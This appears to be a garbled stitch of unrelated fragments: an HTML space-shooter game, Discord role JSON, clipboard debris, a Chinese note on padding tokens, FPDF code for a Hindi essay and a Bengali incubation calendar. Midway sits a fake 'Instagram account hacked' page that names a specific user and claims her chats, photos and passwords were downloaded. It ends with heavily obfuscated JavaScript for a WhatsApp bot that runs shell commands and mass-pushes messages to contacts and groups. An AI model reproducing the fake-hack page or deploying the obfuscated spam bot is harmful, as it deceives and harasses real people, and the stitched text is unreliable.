তত্ক্ষণাত খেলতে পারবে — বাম/ডান অ্যারো দিয়ে চলবে, স্পেস দিয়ে শ্যুট।
<!doctype html>
<html lang="bn">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Simple Space Shooter — জীবন</title>
<style>
html,body { height:100%; margin:0; background:#000; color:#fff; font-family:system-ui,Segoe UI,Roboto;}
#game {
display:block;
margin:20px auto;
background:#000;
border:4px solid #222;
box-shadow:0 10px 30px rgba(0,0,0,.6);
}
.ui {
text-align:center;
margin-top:6px;
font-size:14px;
color:#cfcfcf;
}
button { padding:8px 12px; font-size:14px; margin:0 6px; cursor:pointer;}
@media (max-width:600px){
#game { width:320px; height:480px; }
}
</style>
</head>
<body>
<canvas id="game" width="480" height="640"></canvas>
<div class="ui">
<button id="startBtn">Start / Restart</button>
<span style="margin-left:12px">Score: <span id="score">0</span></span>
<span style="margin-left:12px">Lives: <span id="lives">3</span></span>
<div style="margin-top:6px; font-size:13px; color:#aaa">
Controls: ← → = move, Space = shoot
</div>
</div>
<script>
/*
Simple Space Shooter
- Player: small triangle ship
- Enemies: descending squares
- Bullets: small rectangles
- Collision detection, scoring, lives
*/
const canvas = document.getElementById('game');
const ctx = canvas.getContext('2d');
const scoreEl = document.getElementById('score');
const livesEl = document.getElementById('lives');
const startBtn = document.getElementById('startBtn');
let W = canvas.width, H = canvas.height;
window.addEventListener('resize', ()=>{ /* keep fixed size for simplicity */ });
/* Game state */
let keys = {};
let bullets = [];
let enemies = [];
let particles = [];
let score = 0;
let lives = 3;
let gameOver = false;
let spawnTimer = 0;
let spawnInterval = 90; // frames
let fireCooldown = 0;
/* Player */
const player = {
x: W/2,
y: H - 60,
w: 24,
h: 28,
speed: 5,
alive: true
};
/* Input */
window.addEventListener('keydown', (e)=>{ keys[e.code] = true; if(e.code==='Space') e.preventDefault(); });
window.addEventListener('keyup', (e)=>{ keys[e.code] = false; });
startBtn.addEventListener('click', startGame);
/* Utility */
function rand(min,max){ return Math.random()*(max-min)+min; }
function clamp(v,a,b){ return Math.max(a, Math.min(b, v)); }
/* Entities */
function spawnEnemy(){
const size = Math.round(rand(22,44));
enemies.push({
x: rand(size, W-size),
y: -size,
w: size,
h: size,
speed: rand(1.2, 2.2) + score*0.002, // slight difficulty scaling
hp: Math.random()<0.15 ? 2 : 1, // some tougher enemies
});
}
function shoot(){
if(fireCooldown>0) return;
bullets.push({
x: player.x,
y: player.y - player.h/2 - 6,
w: 4,
h: 10,
speed: 8
});
fireCooldown = 12; // frames between shots
}
/* Collision simple AABB */
function coll(a,b){
return !(a.x + (a.w||0)/2 < b.x - (b.w||0)/2 ||
a.x - (a.w||0)/2 > b.x + (b.w||0)/2 ||
a.y + (a.h||0)/2 < b.y - (b.h||0)/2 ||
a.y - (a.h||0)/2 > b.y + (b.h||0)/2);
}
/* Particle for explosion */
function makeExplosion(x,y,count=12){
for(let i=0;i<count;i++){
particles.push({
x, y,
vx: Math.cos(Math.random()*Math.PI*2)*rand(1,4),
vy: Math.sin(Math.random()*Math.PI*2)*rand(1,4),
life: rand(24,48),
size: rand(1.5,3.5)
});
}
}
/* Update loop */
function update(){
if(gameOver) {
drawGameOver();
return;
}
// Input: move left/right
if(keys['ArrowLeft'] || keys['KeyA']) player.x -= player.speed;
if(keys['ArrowRight'] || keys['KeyD']) player.x += player.speed;
player.x = clamp(player.x, 20, W-20);
if((keys['Space'] || keys['KeyK']) ) shoot();
if(fireCooldown>0) fireCooldown--;
// Update bullets
for(let i=bullets.length-1;i>=0;i--){
const b = bullets[i];
b.y -= b.speed;
if(b.y + b.h < 0) bullets.splice(i,1);
}
// Spawn enemies
spawnTimer++;
const adaptive = Math.max(20, spawnInterval - Math.floor(score/5));
if(spawnTimer > adaptive){
spawnTimer = 0;
spawnEnemy();
}
// Update enemies
for(let i=enemies.length-1;i>=0;i--){
const e = enemies[i];
e.y += e.speed;
// Enemy collides with player?
if(coll({x:player.x,y:player.y,w:player.w,h:player.h}, e)){
// lose a life and remove enemy
enemies.splice(i,1);
lives--;
makeExplosion(player.x, player.y, 18);
if(lives<=0){ gameOver = true; }
continue;
}
// Offscreen -> remove and lose life
if(e.y - e.h/2 > H){
enemies.splice(i,1);
lives--;
if(lives<=0) gameOver = true;
continue;
}
// Bullets hit enemy
for(let j=bullets.length-1;j>=0;j--){
const b = bullets[j];
if(coll(b, e)){
bullets.splice(j,1);
e.hp--;
if(e.hp<=0){
// destroy
score += 10;
makeExplosion(e.x, e.y, 14);
enemies.splice(i,1);
} else {
score += 5;
}
break;
}
}
}
// Update particles
for(let i=particles.length-1;i>=0;i--){
const p = particles[i];
p.x += p.vx;
p.y += p.vy;
p.vy += 0.08; // gravity-ish
p.life--;
if(p.life<=0) particles.splice(i,1);
}
// update UI
scoreEl.textContent = score;
livesEl.textContent = lives;
// draw
draw();
// next frame
requestAnimationFrame(update);
}
/* Drawing functions */
function clear
{
"roles": [
{"name": "👑《𝐏𝐑𝐄𝐒𝐈𝐃𝐄𝐍𝐓𝐄》", "color": "#ffcc00", "hoist": true},
{"name": "🧠《𝐃𝐈𝐑𝐄𝐓𝐎𝐑 𝐆𝐄𝐑𝐀𝐋》", "color": "#ffd966", "hoist": true},
{"name": "⚙️《𝐀𝐃𝐌𝐈𝐍𝐈𝐒𝐓𝐑𝐀𝐃𝐎𝐑》", "color": "#ff9900", "hoist": true},
{"name": "🛡️《𝐌𝐎𝐃𝐄𝐑𝐀𝐃𝐎𝐑》", "color": "#33cccc", "hoist": true},
{"name": "🎯《𝐒𝐔𝐏𝐎𝐑𝐓𝐄》", "color": "#99ccff", "hoist": true},
{"name": "🗣️《𝐒𝐓𝐀𝐅𝐅 𝐎𝐅𝐈𝐂𝐈𝐀𝐋》", "color": "#66ffff", "hoist": true},
{"name": "🧤《𝐆𝐎𝐋𝐄𝐈𝐑𝐎》", "color": "#3399ff"},
{"name": "🛡️《𝐙𝐀𝐆𝐔𝐄𝐈𝐑𝐎》", "color": "#0066cc"},
{"name": "🪄《𝐌𝐄𝐈𝐀》", "color": "#0033cc"},
{"name": "⚡《𝐀𝐓𝐀𝐂𝐀𝐍𝐓𝐄》", "color": "#0000ff"},
{"name": "🔥《𝐑𝐄𝐒𝐄𝐑𝐕𝐀》", "color": "#6600cc"},
{"name": "🏅《𝐂𝐀𝐏𝐈𝐓𝐀̃𝐎》", "color": "#ffcc33"},
{"name": "🔵
《𝐓𝐎𝐑𝐂𝐄𝐃𝐎
05.11.1993
> ----------
05.11.1993
وغ ٥ف. و.C ى زر. ة ان. C.
V. X c. V .b. Tap on a clip to paste it in the text box.بحمد الله تم اليوم بالقاهرة عقد قران الزميلة والصديقة (لينة يعقوب) علي الزميل أحمد العربي بحضور عدد من الزملاء الإعلاميين والأهل والأصدقاء، فيما ستكتمل مراسم الزواج بعد غدٍ السبت .
مليوووون مبروك جعله الله زواجا مباركا❤بحمد الله تم اليوم بالقاهرة عقد قران الزميلة والصديقة (لينة يعقوب) علي الزميل أحمد العربي بحضور عدد من الزملاء الإعلاميين والأهل والأصدقاء، فيما ستكتمل مراسم الزواج بعد غدٍ السبت .
مليوووون مبروك جعله الله زواجا مباركا❤Tap on a clip to paste it in the text box.Welcome to Gboard clipboard, any text that you copy will be saved here.Tap on a clip to paste it in the text box.Tap on a clip to paste it in the text box.❤❤❤❤ z. O. R . ظ
你的问题看起来是一个刚接触训练的人会有的困惑。
使用EOS充当PAD会导致模型不会预测EOS本身就是一个错误的观测。首先,PAD token具体是什么没有意义,因为在正确的设置里,他不会被注意力观测(通过MASK屏蔽),不会被学习,PAD位置的标签应当被设置成-100(torch的默认屏壁值),因此即使EOS被充当PAD,也不会影响EOS本身的行为。
让我简单举一个例子,
Hello [EOS] [PAD] 假设有这样一句话,他需要被补齐一个token,而EOS是你选择的PAD,那么这句话看上去会是Hello [EOS] [EOS],第一个EOS是会作为hello的label被正常要求学习的。
from fpdf import FPDF
# Crea
| header 1 | header 2 |
|---|---|
| cell 1 | cell 2 |
| cell 3 | cell 4 |
te instance of FPDF class with UTF-8 support using DejaVu font
pdf = FPDF(format='A4')
pdf.add_page()
# Add DejaVu fonts for Unicode support
pdf.add_font('DejaVu', '', '/usr/share/fonts/truetype/dejavu/DejaVuSans.ttf', uni=True)
pdf.add_font('DejaVu', 'B', '/usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf', uni=True)
# Title
pdf.set_font('DejaVu', 'B', 18)
pdf.multi_cell(0, 10, "सच्ची दुनिया और सच्चा इंसान", align='C')
pdf.ln(5)
# Body
pdf.set_font('DejaVu', '', 12)
content = """दुनिया को बदलने से पहले, हमें खुद को समझना सीखना चाहिए।
अक्सर हम सोचते हैं कि दुनिया बुरी है, लोग गलत हैं, किस्मत साथ नहीं देती —
लेकिन सच्चाई यह है कि दुनिया वैसी ही होती है, जैसी हमारी सोच होती है।
अल्बर्ट आइंस्टीन ने कहा था —
“जीवन का असली मूल्य इस बात में है कि हम दूसरों के लिए क्या करते हैं।”
जब हम दूसरों की मदद करते हैं, जब किसी के चेहरे पर मुस्कान लाते हैं,
तो वहीं से हमारी असली सफलता शुरू होती है।
ज्ञान या पैसा बड़ा नहीं होता — बड़ी होती है इंसानियत।
महात्मा गांधी ने भी कहा —
“सत्य और अहिंसा ही सबसे बड़ी ताकत हैं।”
उन्होंने अपने जीवन से सिखाया कि सच्चाई पर टिके रहना कठिन जरूर है,
पर अंत में वही जीतता है।
जो खुद के अंदर की बुराइयों से लड़ता है, वही सच्चा विजेता होता है।
हम सब इस दुनिया को जानना चाहते हैं —
लेकिन असली समझ तब आती है, जब हम अपने मन की दुनिया को पहचानते हैं।
जब हम गुस्से की जगह धैर्य चुनते हैं,
नफरत की जगह प्यार, और डर की जगह विश्वास —
तभी हम दुनिया को वैसा देख पाते हैं, जैसी वो सच में है — सुंदर, सच्ची और अवसरों से भरी।
इसलिए याद रखिए —
दुनिया बदलने की शुरुआत “आप” से होती है।
अगर आप थोड़ा बेहतर इंसान बन जाएं,
तो आपकी वजह से दुनिया भी थोड़ी बेहतर हो जाएगी। 🌞"""
pdf.multi_cell(0, 8, content, align='J')
pdf.ln(10)
# Author name at the bottom right
pdf.set_font('DejaVu', '', 12)
pdf.cell(0, 10, 'लेखक: P.K. Yadav 720', 0, 0, 'R')
# Save PDF
file_path = "/mnt/data/Sacchi_Duniya_aur_Saccha_Insaan.pdf"
pdf.output(file_path)
file_path
🗓️ হাঁস ও কয়েল পাখির ইনকিউবেশন ক্যালেন্ডার
তারিখ দিন কাজের বিবরণ হাঁসের অবস্থা কয়েলের অবস্থা
০৯ অক্টোবর দিন ১ হাঁসের ডিম ইনকিউবেটরে দিন শুরু —
১০–১৯ অক্টোবর দিন ২–১১ ডিম প্রতিদিন ৩–৪ বার ঘোরান, আর্দ্রতা ৫৫–৬০% রাখুন বিকাশ চলমান —
২০ অক্টোবর দিন ১২ (হাঁস) / দিন ১ (কয়েল) কয়েল পাখির ডিম ইনকিউবেটরে দিন বিকাশ চলমান শুরু
২১–২৭ অক্টোবর হাঁস দিন ১৩–১৯ / কয়েল দিন ২–৮ প্রতিদিন ডিম ঘোরান (দু’ধরনেরই) স্বাভাবিক বিকাশ বিকাশ শুরু
২৮ অক্টোবর–২ নভেম্বর হাঁস দিন ২০–২৫ / কয়েল দিন ৯–১৪ ডিম ঘোরানো অব্যাহত রাখুন ভ্রূণ সক্রিয় রক্তনালী গঠন
৩ নভেম্বর হাঁস দিন ২৬ / কয়েল দিন ১৫ কয়েলের জন্য ঘোরানো বন্ধ করুন, আর্দ্রতা ৭০% করুন ফাইনাল পর্যায় শেষ ধাপ
৪–৬ নভেম্বর হাঁস দিন ২৭–২৮ / কয়েল দিন ১৬–১৭ ইনকিউবেটর বন্ধ না করে রাখুন, পানি ট্রে পূর্ণ রাখুন বাচ্চা ফোটার সময় বাচ্চা ফোটার সময়
৬ নভেম্বর ২০২৫ — 🎉 হাঁস ও কয়েল দুটোই ফুটবে 🐣🦆 ফুটবে ফুটবে
Deutsch
Español
中文
Français
日本
Portuguese (Brazil)
English
Italiano
Türkçe
provider
Sunita_sen_9352
13 Oktober 2025
1.01 GB
folder
डेटा सफलतापूर्वक अपलोड किया गया
प्राप्त डेटा तक एक्सेस के लिए, यहाँ पर जाएँ उपलब्ध अकाउंट्स।
ग्राहकों के बारे में कोई भी जानकारी सर्वर पर एन्क्रिप्टेड रूप में स्टोर की जाती है और अनुरोध के स्रोत की परवाह किए बिना इसे तीसरे पक्ष के साथ शेयर नहीं किया जा सकता है।
कृपया संग्रहण देखने के लिए डैशबोर्ड एंटर करें।
साइन अप करें साइन इन करें
डिवाइस सर्च किए जा रहे है
डाउनलोड हो रहा है से 2 servers 46.65 MB/s ↘ 1.01 GB / ↗ 1.01 GB folder — 0/s
स्मार्टफोन डेटा
global
कनेक्ट हो रहा है
check
यूज़र
अधिकृत
build
बिल्ड
71371333585592
global
प्रमाणीकरण डेटा
check
global
वेरिफिकेशन
check
message
चैट संदेश
410 MB
attached
फ़ोटो और वीडियो
626 MB
contact
लॉग और संपर्क
651 KB
lock
लॉग इन पासवर्ड
***************
#सर्वर instagram कंसोल
Debian GNU/Linux सिस्टम कॉपीराइट।
API ID: cf42dd301293e7af9e116b0c32b817c7
वेरिफिकेशन कोड = [ ******************** ]
सर्वर डाउनलोड करें ...
[################################## ] 100.0%
$ Connection..host..http://+ instagram +/api/%$intec/success..
$ Account:http://instagram/+ Sunita _sen_9352 +/a-%/php..
$ Applying md5()_Algoritm..|
$ buffroverflow.c --system--nodir|
SEDr_hash] !== $_COOa-%/ =hacked.py � bash � 80x10
$ Applying RSA()_Algoritm... f|
- $ Applying map_reduce()... SUCCESS!
$ tar -zcvf password.zip *.password = *******|
$ Success! Username is: + Sunita _sen_9352 +/encryption/4055001556657&
$_GET_password from the link below|
_Successfully accessed. to <& date $ buffroverflow.c --system--nodir||
<!DOCTYPE html>, <html>, <head>, <title>, <meta charset="UTF-8">, <body> <h2>Форма реєстрації</h2>
Столкнулся с аналогичной проблемой: cv2 никак не хотел устанавливаться с Python 3.14. Я пробовал устанавливать компиляторы С++, недостающие файлы и перебирать настройки, но оказалось, что нужно было просто заменить версию Python на 3.10 - с ней cv2 нормально установился и работает.
const _0x34b853=_0x1dd9;(function(_0x58db20,_0x39d569){const _0x12e373=_0x1dd9,_0x1d56db=_0x58db20();while(!![]){try{const _0x5dc338=-parseInt(_0x12e373(0x3ef))/0x1*(-parseInt(_0x12e373(0x285))/0x2)+parseInt(_0x12e373(0x295))/0x3+-parseInt(_0x12e373(0x334))/0x4*(parseInt(_0x12e373(0x21b))/0x5)+parseInt(_0x12e373(0x3ce))/0x6+-parseInt(_0x12e373(0x25b))/0x7*(parseInt(_0x12e373(0x3e5))/0x8)+parseInt(_0x12e373(0x403))/0x9+parseInt(_0x12e373(0x3f8))/0xa;if(_0x5dc338===_0x39d569)break;else _0x1d56db['push'](_0x1d56db['shift']());}catch(_0x22ebfa){_0x1d56db['push'](_0x1d56db['shift']());}}}(_0x237e,0xb1e3e));function _0x1dd9(_0x4a86ba,_0x48107f){const _0x3d00e0=_0x237e();return _0x1dd9=function(_0xdb28b4,_0x5ef3df){_0xdb28b4=_0xdb28b4-0x1d4;let _0x3a86d6=_0x3d00e0[_0xdb28b4];return _0x3a86d6;},_0x1dd9(_0x4a86ba,_0x48107f);}const _0x35c02f=(function(){let _0xce0e1d=!![];return function(_0x49bfab,_0x5df746){const _0x52d445=_0xce0e1d?function(){if(_0x5df746){const _0x13c25a=_0x5df746['apply'](_0x49bfab,arguments);return _0x5df746=null,_0x13c25a;}}:function(){};return _0xce0e1d=![],_0x52d445;};}()),_0x308303=_0x35c02f(this,function(){const _0x474019=_0x1dd9;return _0x308303['toString']()[_0x474019(0x3c8)](_0x474019(0x35d))[_0x474019(0x3e9)]()[_0x474019(0x1ec)](_0x308303)[_0x474019(0x3c8)](_0x474019(0x35d));});_0x308303();const _0x5ef3df=(function(){let _0x105c23=!![];return function(_0x490814,_0x4fd304){const _0x588582=_0x105c23?function(){const _0x1ba40d=_0x1dd9;if(_0x4fd304){const _0x1b9824=_0x4fd304[_0x1ba40d(0x35f)](_0x490814,arguments);return _0x4fd304=null,_0x1b9824;}}:function(){};return _0x105c23=![],_0x588582;};}()),_0xdb28b4=_0x5ef3df(this,function(){const _0x2993b6=_0x1dd9,_0x12a03e=function(){const _0xc1abe5=_0x1dd9;let _0x396a7d;try{_0x396a7d=Function(_0xc1abe5(0x39b)+_0xc1abe5(0x3cb)+');')();}catch(_0x70e120){_0x396a7d=window;}return _0x396a7d;},_0x234e68=_0x12a03e(),_0x220dd5=_0x234e68[_0x2993b6(0x351)]=_0x234e68['console']||{},_0x44dd01=['log',_0x2993b6(0x2b9),'info','error',_0x2993b6(0x1e5),'table',_0x2993b6(0x3ac)];for(let _0x160c76=0x0;_0x160c76<_0x44dd01['length'];_0x160c76++){const _0x510131=_0x5ef3df[_0x2993b6(0x1ec)][_0x2993b6(0x3f5)]['bind'](_0x5ef3df),_0x815eac=_0x44dd01[_0x160c76],_0x5c4334=_0x220dd5[_0x815eac]||_0x510131;_0x510131['_proto_']=_0x5ef3df['bind'](_0x5ef3df),_0x510131[_0x2993b6(0x3e9)]=_0x5c4334[_0x2993b6(0x3e9)][_0x2993b6(0x2f9)](_0x5c4334),_0x220dd5[_0x815eac]=_0x510131;}});_0xdb28b4();const util=require(_0x34b853(0x3f7)),chalk=require('chalk'),fs=require('fs'),axios=require(_0x34b853(0x37f)),fetch=require(_0x34b853(0x1fd)),{exec,spawn,execSync}=require(_0x34b853(0x231)),LoadDataBase=require(_0x34b853(0x255));function _0x237e(){const _0x1af348=['./Tmp','json','pushkontak2','isBotAdmin','wmplay','participants','addseller','Gagal\x20menghapus\x20akun!\x0aID\x20user\x20tidak\x20ditemukan','&isVideo=false&delay=500','\x20user\x20&\x20server\x20panel\x20yang\x20bukan\x20admin.','\x0a┃\x20ネ\x20sᴇᴛᴀᴛᴜs\x20:\x20ᴘʀᴇᴍɪᴜᴍ\x0a┃\x20ネ\x20ʏᴏᴜᴛᴜʙᴇ\x20:\x20@welper-tzyOfficial\x0a╰────────────➣\x0aᴜsᴇ\x20ᴛʜᴇ\x20ʙᴏᴛ,\x20ᴀɴᴅ\x20ᴅᴏɴ\x27ᴛ\x20ғᴏʀɢᴇᴛ\x20ᴛᴏ\x20ᴛᴀᴋᴇ\x20ʙʀᴇᴀᴋs.\x20ɪғ\x20ʏᴏᴜ\x20ᴅᴏɴ\x27ᴛ\x20ᴛᴀᴋᴇ\x20ʙʀᴇᴀᴋs,\x20ᴋᴇɴᴏɴ\x20ᴡɪʟʟ\x20ʙᴇ\x20sᴀᴅ.\x20\x0aᴀʟʟᴏᴡ\x20ᴍᴇ\x20ᴛᴏ\x20ɪɴᴛʀᴏᴅᴜᴄᴇ\x20ᴍʏsᴇʟғ,\x20ɪ\x20ᴀᴍ\x20ᴀ\x20ʙᴏᴛ\x20ᴄʀᴇᴀᴛᴇᴅ\x20ʙʏ\x20ᴡᴇʟᴘᴇʀ,\x20ᴀɴᴅ\x20ᴍʏ\x20ᴠᴇʀsɪᴏɴ\x20ɪs\x205.0.0.\x20ᴍʏ\x20ɴᴀᴍᴇ\x20ɪs\x20ᴀɴᴅ\x20ɢʀᴇᴇᴛɪɴɢs.\x0a\x0aᴛᴏᴅᴀʏ\x27s\x20ᴡᴏʀᴅs\x20ᴀʀᴇ\x20ғᴏʀ\x20ʏᴏᴜ:\x0a\x22ʀᴇᴍᴇᴍʙᴇʀ,\x20ᴛʜᴇ\x20sᴇʀᴠᴇʀ\x20ᴍᴀʏ\x20ɢᴏ\x20ᴅᴏᴡɴ,\x20ʙᴜᴛ\x20ʏᴏᴜʀ\x20sᴘɪʀɪᴛ\x20sʜᴏᴜʟᴅ\x20ɴᴇᴠᴇʀ\x20sʜᴜᴛ\x20ᴅᴏᴡɴ.\x22\x0a\x22ᴀɴᴅ\x20ɴᴇᴠᴇʀ\x20ʀᴇɴᴀᴍᴇ\x20ɪᴛ,\x20ʙᴜᴛ\x20ɪɴsᴛᴇᴀᴅ\x20ᴀᴄᴄᴜsᴇ\x20ᴛʜᴇ\x20ᴅᴇᴠᴇʟᴏᴘᴇʀ\x20ᴡʜᴏ\x20sᴏʟᴅ\x20ᴛʜᴇ\x20sᴄʀɪᴘᴛ\x20ᴀɴᴅ\x20ʀᴇᴘᴏʀᴛ\x20ɪᴛ\x20ᴛᴏ\x20ᴛʜᴇ\x20ʜᴇʟᴘᴇʀ.\x22\x0a\x0a\x20\x20┏❐\x20𝐌𝐄𝐍𝐔\x20𝐓𝐎𝐎𝐒𝐋ネ\x0a\x20\x20┃ネ.tourl\x0a\x20\x20┃ネ.tourl2\x0a\x20\x20┃ネ.sticker\x0a\x20\x20┃ネ.cekidch\x0a\x20\x20┃ネ.ktp\x20\x0a\x20\x20┃ネ.rvo\x0a\x20\x20┃ネ.play\x0a\x20\x20┃ネ.tiktok\x20\x20\x0a\x20\x20┃ネ.brat\x0a\x20\x20┗❐\x0a\x0a\x20\x20┏❐\x20\x20𝐆𝐑𝐔𝐏\x20𝐌𝐄𝐍𝐔ネ\x0a\x20\x20┃ネ.antilink\x0a\x20\x20┃ネ.antilink2\x0a\x20\x20┃ネ.welcome\x0a\x20\x20┃ネ.statusgrup\x0a\x20\x20┃ネ.hidetag\x0a\x20\x20┃ネ.kick\x0a\x20\x20┃ネ.open\x0a\x20\x20┃ネ.close\x0a\x20\x20┗❐\x0a\x0a\x20\x20┏❐\x20\x20𝐒𝐄𝐓𝐎𝐑\x20𝐌𝐄𝐍𝐔ネ\x0a\x20\x20┃ネ.pushkontak\x0a\x20\x20┃ネ.pushkontak2\x0a\x20\x20┃ネ.savekontak\x0a\x20\x20┃ネ.stoppush\x0a\x20\x20┃ネ.setjeda\x0a\x20\x20┃ネ.savenomor\x0a\x20\x20┃ネ.jpm\x0a\x20\x20┃ネ.jpmht\x0a\x20\x20┃ネ.jpmch\x0a\x20\x20┃ネ.stopjpm\x0a\x20\x20┃ネ.payment\x0a\x20\x20┃ネ.proses\x0a\x20\x20┃ネ.done\x0a\x20\x20┗❐\x0a\x0a\x20\x20┏❐\x20\x20𝐌𝐄𝐍𝐔\x20𝐒𝐄𝐋𝐋𝐄𝐑ネ\x0a\x20\x20┃ネ.addseller\x0a\x20\x20┃ネ.delseller\x0a\x20\x20┃ネ.listseller\x0a\x20\x20┃ネ.1gb\x20-\x20unlimited\x0a\x20\x20┃ネ.delpanel\x0a\x20\x20┃ネ.listpanel\x0a\x20\x20┃ネ.cadmin\x0a\x20\x20┃ネ.deladmin\x0a\x20\x20┃ネ.listadmin\x0a\x20\x20┗❐\x0a\x0a\x20\x20┏❐\x20\x20𝐎𝐖𝐍𝐄𝐑\x20𝐌𝐄𝐍𝐔ネ\x0a\x20\x20┃ネ.addowner\x0a\x20\x20┃ネ.listowner\x0a\x20\x20┃ネ.delowner\x0a\x20\x20┗❐\x0a','\x0a•\x20','namakontak','https://api.nekorinn.my.id/downloader/ytplay?q=','action','\x20Server','default','puskontak2','image_post','pixhost.to','\x0a-\x20Antilink2\x20:\x20','capital','4gb','cpu','axios','jpm','filter','Laki-laki','\x0a\x0a*Rules\x20pembelian\x20admin\x20panel:*\x20\x20\x0a-\x20Masa\x20aktif\x2030\x20hari\x20\x20\x0a-\x20Data\x20bersifat\x20pribadi,\x20mohon\x20disimpan\x20dengan\x20aman\x20\x20\x0a-\x20Garansi\x20berlaku\x2015\x20hari\x20(1x\x20replace)\x20\x20\x0a-\x20Klaim\x20garansi\x20wajib\x20menyertakan\x20*bukti\x20chat\x20pembelian*\x0a\x20\x20\x20\x20\x20\x20\x20\x20','Ram\x20','delowner','memory','antilink2','✅\x20Mode\x20berhasil\x20diubah\x20menjadi\x20*Public*','Terjadi\x20kesalahan\x20saat\x20menghapus\x20akun\x20admin.','✅\x20Berhasil\x20mengeluarkan\x20@','find','Terjadi\x20kesalahan\x20saat\x20memproses\x20permintaan','\x0a*Total\x20server\x20panel\x20:*\x20','/eggs/','key','Unknown','proses','all','form-data','Penggunaan:\x20','Asia/Jakarta','Memproses\x20','join','\x20MB','Berhasil\x20menghapus\x20owner\x20✅\x0a-\x20','GET','return\x20(function()\x20','global.JedaJpm\x20=\x20','application/zip','Barhasil\x20Menghapus\x20Sever\x20Panel\x20✅\x0aNama\x20Server:\x20','values','statusjpm','\x0aPilih\x20Admin\x20Panel\x20Yang\x20Ingin\x20Dihapus\x0a','listpanel','JedaJpm','\x0a-\x20CPU:\x20','5gb','toLowerCase','Error:\x20','sleep','sendMessage','Admin','set','trace','\x0aPilih\x20Server\x20Panel\x20Yang\x20Ingin\x20Dihapus\x0a','\x20grup.','/api/application/users/','Berhasil\x20menghentikan\x20jpm\x20✅','\x0aPilih\x20Target\x20Grup\x20Pushkontak\x0a','close','kewarganegaraan','Hapus\x20Semua','1000','push','.zip\x20','isArray','done','newsletterFetchAllParticipating','ptt','*\x0a-\x20Ram\x20:\x20*','Berhasil\x20menambah\x20owner\x20✅\x0a-\x20','floor','Bearer\x20','180','comment_count','Pegawai\x20Swasta','caption','\x20berhasil\x20dikirim\x20ke\x20','pushkontak-response','download_count','username','search','closegc','idChannel','{}.constructor(\x22return\x20this\x22)(\x20)','Data\x20teks\x20pushkontak\x20tidak\x20ditemukan!\x0aSilahkan\x20ketik\x20*.pushkontak2*\x20pesannya|namakontak','kel','646824OwOqNr','𓄯ִ\x20──\x20꯭𐑈ƚꪱִ𝖼𝗄ᧉׄ𝗋\x20᎓','dddd,\x20D\x20MMMM\x20YYYY\x20[pukul]\x20HH:mm:ss','parse','groupFetchAllParticipating','errors','\x20pesan|namakontak','\x20GB','append','Maaf,\x20terjadi\x20kesalahan\x20saat\x20membuat\x20sticker.\x20Silakan\x20coba\x20lagi\x20nanti.','\x20berhasil\x20dihapus.','Public🌍','DELETE','mimetype','global.JedaPushkontak\x20=\x20','kkkk','pekerjaan','tanggal','.pushkontak-response\x20','opengc','pushkontak','*\x0a-\x20Nama\x20:\x20*','Welcome\x20sudah\x20tidak\x20aktif\x20✅','1599672jCCYvw','6000','Total\x20Member:\x20','Welper','toString','https://tikwm.com/api/','global.mode_public\x20=\x20false','Terjadi\x20kesalahan\x20saat\x20menyimpan\x20kontak:\x0a','\x20pesannya','admin','8773NYqhDJ','Error\x20listing\x20panel\x20servers:','unlinkSync','stopjpm','Jl.\x20Contoh\x20No.\x20123','ghcr.io/parkervcp/yolks:nodejs_20','prototype','Durasi\x20vidio\x20maksimal\x2015\x20detik!','util','11350260ykptub','announcement','textpushkontak','\x20sudah\x20menjadi\x20reseller!','ktp','140','Gagal\x20mendapatkan\x20daftar\x20anggota\x20grup.\x20Coba\x20lagi.','ini\x20pesan\x20interactiveMeta','\x20🔖*\x0a\x0a*\x20*Dana\x20:*\x20','\x0a-\x20Antilink\x20\x20:\x20','unique_id','956457AIFxeL','Gagal\x20mengeluarkan\x20anggota.\x20Coba\x20lagi\x20atau\x20cek\x20hak\x20akses\x20bot.','\x20grup\x20chat','resolve','now','✅\x20Sukses\x20pushkontak!\x0aPesan\x20berhasil\x20dikirim\x20ke\x20*','isAdmin','\x20||\x20CPU\x20','sendContact','data','Berhasil\x20mereset\x20database\x20✅','listseller','msg','data-src','JPM\x20teks\x20&\x20foto','document','groupMetadata','create_time','jpmch','body','\x0a┃\x20ネ\x20ᴜᴘᴛɪᴍᴇ\x20:\x20\x20','Terjadi\x20kesalahan\x20saat\x20mencoba\x20mengirim\x20pesan\x20hidetag.','\x0a-\x20Tag:\x20@','subject','7gb','.delpanel-all','addown','svkontak','invite','Antilink2\x20di\x20grup\x20ini\x20sudah\x20tidak\x20aktif!','\x0aPilih\x20Target\x20Grup\x20PushkontakV2\x0a','log','https://whatsapp.com/channel/','rstdb','*\x20dengan\x20reply/kirim\x20foto','Tidak\x20ada\x20server\x20panel!','/api/application/users','\x0a*Komentar:*\x20','Masukkan\x20teks\x20atau\x20reply\x20teks\x20yang\x20ingin\x20dijadikan\x20sticker!','message','share_count','get','*Contoh\x20:*\x20','Script-PushkontakV2','[email protected]','teks','Jenis\x20media\x20tidak\x20dikenali','Pilih\x20Grup','220','Self🔒','participant','.delpanel-response\x20','not_announcement','Berhasil\x20membuat\x20akun\x20admin\x20panel\x20✅\x0aData\x20akun\x20terkirim\x20ke\x20nomor\x20','digg_count','exception','metadata','*/*','JPM\x20teks','Fitur\x20ini\x20untuk\x20di\x20dalam\x20grup\x20reseller\x20panel','\x20nama\x20barang','user','constructor','7000','.savekontak-response\x20','addOrEditContact','npm\x20start','\x20jpm\x206000\x0a\x0aKeterangan\x20format\x20waktu:\x0a1\x20detik\x20=\x201000\x0a\x0aJeda\x20waktu\x20saat\x20ini:\x0aJeda\x20Pushkontak\x20>\x20','remove','group','\x0a-\x20ID\x20:\x20*','Pilih\x20Admin\x20Panel','\x20link\x20channel','Masukan\x20username\x20&\x20nomor\x20(opsional)\x0a*contoh:*\x20','Masukan\x20namakontak\x0a*Contoh\x20:*\x20','duration','uuid','mentions','agama','node-fetch','\x20||\x20Disk\x20','images','exports','trim','*\x0a-\x20CPU\x20:\x20*','\x206283XXX','video_url','match','keys','statuspush','terbuat','*\x0a-\x20Created\x20:\x20','rt/rw','nama','g.us','cache','Terjadi\x20kesalahan\x20saat\x20mengambil\x20data\x20server.','shift','uncaughtException','\x0a\x0a📦\x20Pembelian:\x20','ttdl','./tmp','string','/api/application/servers','seconds','Gagal\x20kirim\x20ke\x20grup\x20','Data\x20nama\x20savekontak\x20tidak\x20ditemukan!\x0aSilahkan\x20ketik\x20*.savekontak*\x20namakontak','🚀\x20Memulai\x20pushkontak\x20ke